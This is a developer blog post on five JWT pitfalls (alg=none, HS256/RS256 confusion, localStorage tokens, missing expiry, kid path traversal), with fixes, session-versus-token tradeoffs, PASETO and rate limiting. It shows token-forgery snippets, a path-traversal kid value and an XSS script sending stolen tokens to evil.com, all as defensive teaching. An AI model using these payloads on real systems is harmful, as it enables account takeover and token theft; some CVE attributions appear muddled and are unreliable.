π Common Auth Mistakes Developers Make
Five critical JWT pitfalls (alg=none, HS256/RS256 confusion, localStorage XSS, infinite tokens, kid injection), session vs token tradeoffs, CSRF, refresh token rotation, and why PASETO is worth knowing about.
Authentication is where most production outages and security breaches start. The subtlety of cryptographic protocol design combined with poorly understood library defaults creates an environment where even experienced developers ship vulnerable auth systems. This post covers the most common pitfalls, how they work at a technical level, and what to do instead.
Mistake 1: The alg=none Attack
How It Works
JWT headers contain an alg field that specifies the signing algorithm. Some JWT libraries, when processing a token, look at the alg header and use it to determine verification logic. The none algorithm was defined in the JWT specification for unsecured JWTs (intended for debugging or development use only).
The attack is simple:
# Attacker crafts a token with alg=none
import jwt
malicious_token = jwt.encode(
{"sub": "admin", "role": "superuser"},
key="", # No secret needed
algorithm="none" # No signature
)
# Vulnerable server: looks at header, sees "none",
# skips signature verification entirely
decoded = jwt.decode(malicious_token, options={"verify_signature": False})
# β {"sub": "admin", "role": "superuser"} β attacker is admin
Why Libraries Are Vulnerable
The issue is that many JWT libraries default to trusting the alg field in the token header rather than enforcing a pinned algorithm. The library reads the header, sees alg: none, and skips verification. The developer writes jwt.decode(token) without realizing the library will accept unsigned tokens.
The Fix
Always pin the algorithm and reject none tokens explicitly.
# CORRECT: Pin algorithm and reject none
jwt.decode(
token,
public_key,
algorithms=["RS256"], # Explicit pin β don't read from header
options={"require": ["exp", "iat"]}
)
# VULNERABLE: Don't do this
jwt.decode(token, key) # Implicitly trusts header
In Javaβs jjwt library, the vulnerable pattern was:
// VULNERABLE: jjwt before 0.7.0
Jwts.parser().setSigningKey(key).parseClaimsJws(token);
// CORRECT:
Jwts.parserBuilder()
.setSigningKey(key)
.setAllowedClockSkewSeconds(0)
.requireIssuer("my-app")
.build()
.parseClaimsJws(token);
The CVE list for this class of vulnerability includes CVE-2015-9235 (node-jsonwebtoken), CVE-2016-5431 (jjwt), and CVE-2018-0114 (Ciscoβs JWT library). Every major JWT library has shipped this bug at some point.
Mistake 2: HS256/RS256 Algorithm Confusion
How It Works
JWT supports both symmetric (HMAC, HS256) and asymmetric (RSA, RS256) signing algorithms. In symmetric signing, the same key is used to sign and verify tokens. In asymmetric signing, a private key signs and a public key verifies.
The algorithm confusion attack exploits servers that use RS256 (asymmetric). The attacker obtains the public key (which is, by definition, public β often served at /.well-known/jwks.json). They then craft a token with alg: HS256 and sign it using the public key as the HMAC secret.
# Victim server stores the public RSA key for RS256 verification
public_key = open("rsa_public.pem").read()
# Attacker crafts a token with HS256, using the PUBLIC key as the secret
malicious_token = jwt.encode(
{"sub": "admin", "role": "superuser"},
public_key, # Public key used as HMAC secret!
algorithm="HS256"
)
# Vulnerable server: checks alg β "HS256", verifies with public_key
# HMAC verification succeeds because attacker used the same key
decoded = jwt.decode(malicious_token, public_key, algorithms=["HS256"])
# β SUCCESS! Attacker is admin
The vulnerability exists because the JWT library doesnβt enforce a relationship between the algorithm and the key type. An HMAC key and an RSA public key are the same data type (bytes), so the library happily uses the public RSA key as an HMAC secret.
The Fix
Pin the algorithm and validate key type:
# CORRECT: Only accept RS256
jwt.decode(
token,
rsa_public_key,
algorithms=["RS256"], # Reject HS256 entirely
options={"require": ["exp"]}
)
# VULNERABLE: Accepting multiple algorithms
jwt.decode(
token,
public_key,
algorithms=["HS256", "RS256"], # Attacker can choose the weaker one
)
Mistake 3: Storing Tokens in localStorage
The Problem
The most common pattern for SPA authentication is: receive a JWT from the server on login, store it in localStorage, and attach it to every subsequent request via an Authorization: Bearer <token> header.
// Common pattern β but vulnerable
fetch("/api/login", { method: "POST", body: creds })
.then(r => r.json())
.then(data => {
localStorage.setItem("access_token", data.access_token);
localStorage.setItem("refresh_token", data.refresh_token);
});
// On every request:
fetch("/api/data", {
headers: { "Authorization": `Bearer ${localStorage.getItem("access_token")}` }
});
The vulnerability: any XSS vulnerability in your application gives the attacker full access to localStorage. A single reflected XSS via a search parameter, a DOM-based XSS through a third-party script, or even a browser extension with storage permissions β and all tokens are stolen.
<!-- Attacker injects via a search parameter -->
<script>
const token = localStorage.getItem("access_token");
fetch("https://evil.com/steal?token=" + token);
// Also send refresh token to maintain persistent access
fetch("https://evil.com/steal?refresh=" + localStorage.getItem("refresh_token"));
</script>
httpOnly Cookies: The Secure Alternative
// Server-side: Set httpOnly, Secure, SameSite cookie
// Express:
res.cookie("access_token", token, {
httpOnly: true, // Cannot be read by JavaScript
secure: true, // HTTPS only
sameSite: "strict", // CSRF protection
maxAge: 15 * 60 * 1000 // 15 minutes
});
httpOnly cookies are not accessible via document.cookie, so an XSS vulnerability cannot steal them. The cookie is automatically sent with every request to the issuing domain.
The CSRF Tradeoff
The catch with cookies: you need CSRF protection. A cross-site request forgery attack tricks the userβs browser into making a request to your server, and the browser automatically includes the cookie.
The standard defense stack for cookie-based auth:
SameSite=StrictorSameSite=Lax: Modern browsers block cross-site cookie sending. Lax allows top-level GET navigations (safe for link-based auth flows). Strict blocks everything (most secure, but breaks<a href>based logout/redirect flows).- CSRF tokens: For forms and state-changing requests, include a cryptographically random token as a hidden field or custom header that the attacker cannot guess.
- Double-submit cookie pattern: Send a random value both as a cookie and a custom header; the server checks they match.
// CSRF token pattern
// Server sends a CSRF token in a cookie (NOT httpOnly)
res.cookie("csrf_token", crypto.randomBytes(32).toString("hex"), {
secure: true,
sameSite: "strict",
httpOnly: false // Must be readable by JS
});
// Client reads it and sends as header
const csrf = document.cookie.match(/csrf_token=([^;]+)/)[1];
fetch("/api/transfer-funds", {
method: "POST",
headers: {
"X-CSRF-Token": csrf,
"Content-Type": "application/json"
},
body: JSON.stringify({ amount: 1000, to: "attacker" }),
credentials: "include" // Send httpOnly cookies
});
// Server: compare header value vs cookie value
Mistake 4: No Expiration (Infinite Tokens)
Why Itβs Dangerous
A JWT without an exp claim is valid forever. If an attacker steals such a token β via XSS, a compromised database, a man-in-the-middle attack, or a backup that wasnβt properly encrypted β they have permanent access.
# DANGEROUS: No expiration
token = jwt.encode({"sub": user.id, "role": user.role}, secret, algorithm="HS256")
# CORRECT: Short-lived access token + refresh token
access_token = jwt.encode({
"sub": user.id,
"role": user.role,
"exp": datetime.now() + timedelta(minutes=15),
"iat": datetime.now(),
"jti": str(uuid4()) # Unique token ID for revocation
}, secret, algorithm="HS256")
refresh_token = jwt.encode({
"sub": user.id,
"type": "refresh",
"exp": datetime.now() + timedelta(days=7),
"iat": datetime.now(),
"jti": str(uuid4())
}, secret, algorithm="HS256")
Recommended Token Lifetimes
| Token Type | Lifetime | Rationale |
|---|---|---|
| Access token | 5β15 minutes | Short enough to limit damage if stolen; validated on every API call |
| Refresh token | 7β30 days | Longer but rotatable; validated only when issuing new access tokens |
| ID token (OpenID Connect) | 1 hour | Information purposes only; not used for API access |
| Remember-me cookie | 30 days | Requires re-authentication on new device or IP change |
Refresh Token Rotation
Even with short-lived access tokens, a stolen refresh token gives the attacker the ability to generate new access tokens indefinitely. Refresh token rotation mitigates this: every time a refresh token is used, issue a new refresh token and invalidate the old one.
def refresh_access_token(old_refresh_token):
# Verify old refresh token
payload = jwt.decode(old_refresh_token, secret, algorithms=["HS256"])
# Revoke old token (invalidate it)
redis.sadd("revoked_tokens", payload["jti"])
# Issue new tokens
new_access = create_access_token(payload["sub"])
new_refresh = create_refresh_token(payload["sub"])
return new_access, new_refresh
If an attacker steals a refresh token and uses it, the legitimate userβs next refresh attempt will fail because the old token is revoked. This detects token theft with a race window of at most one refresh cycle (minutes, not days).
ββββββββββββββ ββββββββββββββββ ββββββββββββββββ
β User β β Attacker β β Auth Server β
β (legit) β β (stole token)β β β
βββββββ¬βββββββ ββββββββ¬ββββββββ ββββββββ¬ββββββββ
β β β
β Refresh (old) β β
βββββββββββββββββββββΊβ (intercepted) β
β βββββββββββββββββββββΊβ
β β β New tokens (attacker gets new refresh)
β β β
β Next request β β
βββββββββββββββββββββββββββββββββΊ β
β β β
β β Error: token revoked β
β β β
β Re-login required β β
Mistake 5: kid Injection (Path Traversal)
How It Works
The JWT header can contain a kid (key ID) field that tells the server which key to use for verification. When the server uses kid to look up the key from a filesystem path, an attacker can inject path traversal sequences.
# Vulnerable key lookup
def get_public_key(kid):
# Directly uses kid as a file path
with open(f"/keys/{kid}", "r") as f:
return f.read()
# Attacker crafts a JWT with kid pointing to an arbitrary file
malicious_header = {
"alg": "HS256",
"kid": "../../../etc/passwd" # Path traversal
}
# Server reads /etc/passwd as the verification "key"
# Then signs with a controlled HMAC secret derived from /etc/passwd content
In the worst case, attackers can use kid: ../../dev/null β reading an empty file as the key β then sign their token with an empty string as the HMAC secret. Or they can point kid at a known file on the server whose content they can predict or control (like an uploaded avatar or a log file).
This is not theoretical: CVE-2018-0114 affected Ciscoβs JWT library with exactly this pattern. The Node.js jsonwebtoken library also shipped vulnerable code for handling kid.
The Fix
# 1. Validate kid against a whitelist
ALLOWED_KEYS = {
"key-2025-01": load_rsa_key("keys/key-2025-01.pem"),
"key-2025-02": load_rsa_key("keys/key-2025-02.pem"),
}
def get_public_key(kid):
if kid not in ALLOWED_KEYS:
raise ValueError(f"Unknown key ID: {kid}")
return ALLOWED_KEYS[kid]
# 2. Or use a database lookup with parameterized queries
def get_public_key(kid):
# Parameterized query prevents injection
result = db.execute("SELECT public_key FROM jwt_keys WHERE id = %s", [kid])
if not result:
raise ValueError("Unknown key ID")
return result[0]["public_key"]
Session vs Token: The Real Tradeoffs
JWT advocates claim tokens are βstatelessβ (no server-side session storage needed). This is true but misleading β you still need server-side state for revocation, refresh token rotation, and rate limiting.
| Property | Server Sessions | JWT (stateless) |
|---|---|---|
| Revocation | Immediate (delete session) | Impossible until expiration (without blacklist) |
| Storage | Server memory/Redis | Client-side (token payload) |
| Scaling | Shared session store needed | Trivially horizontal (no server state) |
| Token size | Small (session ID) | Large (all claims in token) |
| Bandwidth | Minimal | Token sent on every request |
| Introspection | Instant (look up session) | Requires token decode or introspection endpoint |
The real answer: use JWTs for API authorization between services (where revocation isnβt needed and the parties trust each other), and use server-side sessions with encrypted cookies for user-facing web apps (where revocation and CSRF protection matter).
PASETO: A Better Alternative
PASETO (Platform-Agnostic Security Tokens) was designed after the accumulated lessons from JWTβs design flaws. It removes all the algorithm flexibility that enables attacks:
from paseto import create_token, parse_token
# PASETO local (symmetric, shared secret)
token = create_token(
key=symmetric_key, # 32 bytes for v4.local
issuer="my-app",
subject="user_42",
expiration=datetime.now() + timedelta(minutes=15)
)
# PASETO public (asymmetric, private key signs)
token = create_token(
key=private_key, # Private RSA/Ed25519 key
issuer="my-app",
audience="trusted-service",
subject="user_42",
claims={"role": "admin"}
)
# Verification: always explicit, no algorithm negotiation
payload = parse_token(
key=public_key, # Public key for verification
token=token,
audience="trusted-service"
)
Key design differences from JWT:
- No
algnegotiation β the algorithm is embedded in the version (v4.local= XChaCha20-Poly1305,v4.public= Ed25519). An attacker cannot switch tononeorHS256. - Mandatory expiration β the spec requires
exp; the library raises an error if itβs missing. - Clean header β no
kid, no custom fields in the header. The header is just a version string. - Focused scope β PASETO tokens are for authentication; they donβt try to be a general-purpose data format.
PASETO adoption is growing: itβs supported in PHP (officially recommended), Python (Authlib, PyPASETO), Node.js (paseto, paseto.js), Go (go-paseto), and Rust (paseto-rs).
Rate Limiting Auth Endpoints
A final, critical layer: every authentication endpoint must be rate-limited.
# Rate limiting for auth endpoints (pseudocode)
from fastapi import FastAPI, HTTPException
from slowapi import Limiter, _rate_limit_exceeded_handler
limiter = Limiter(key_func=get_remote_address)
app = FastAPI()
app.state.limiter = limiter
app.add_exception_handler(429, _rate_limit_exceeded_handler)
@app.post("/api/login")
@limiter.limit("5/minute") # Login: 5 attempts per minute per IP
async def login(request: Request):
...
@app.post("/api/register")
@limiter.limit("3/hour") # Registration: 3 per hour (prevents account farming)
async def register(request: Request):
...
@app.post("/api/forgot-password")
@limiter.limit("2/hour") # Password reset: 2 per hour per email
async def forgot_password(request: Request):
...
@app.post("/api/refresh")
@limiter.limit("10/minute") # Token refresh: prevent brute force on refresh tokens
async def refresh(request: Request):
...
Rate limiting prevents credential stuffing, password spraying, and enumeration attacks. Combine IP-based limits with account-based limits for defense in depth.
Summary
Five JWT mistakes cause the majority of auth vulnerabilities:
alg=noneβ pin the algorithm, reject unsigned tokens- HS256/RS256 confusion β donβt accept symmetric algorithms when using asymmetric keys
- localStorage storage β use
httpOnlycookies with CSRF protection - Infinite tokens β always set
exp, rotate refresh tokens kidinjection β whitelist key IDs, donβt use user input as file paths
And the broader lesson: auth is harder than it looks. The protocol details matter. The library defaults are often wrong. Every abstraction leaks.
JWT.io Debugger β inspect tokens during development PASETO Specification OWASP JWT Cheatsheet Aaron Parecki, βOAuth 2.0 Simplifiedβ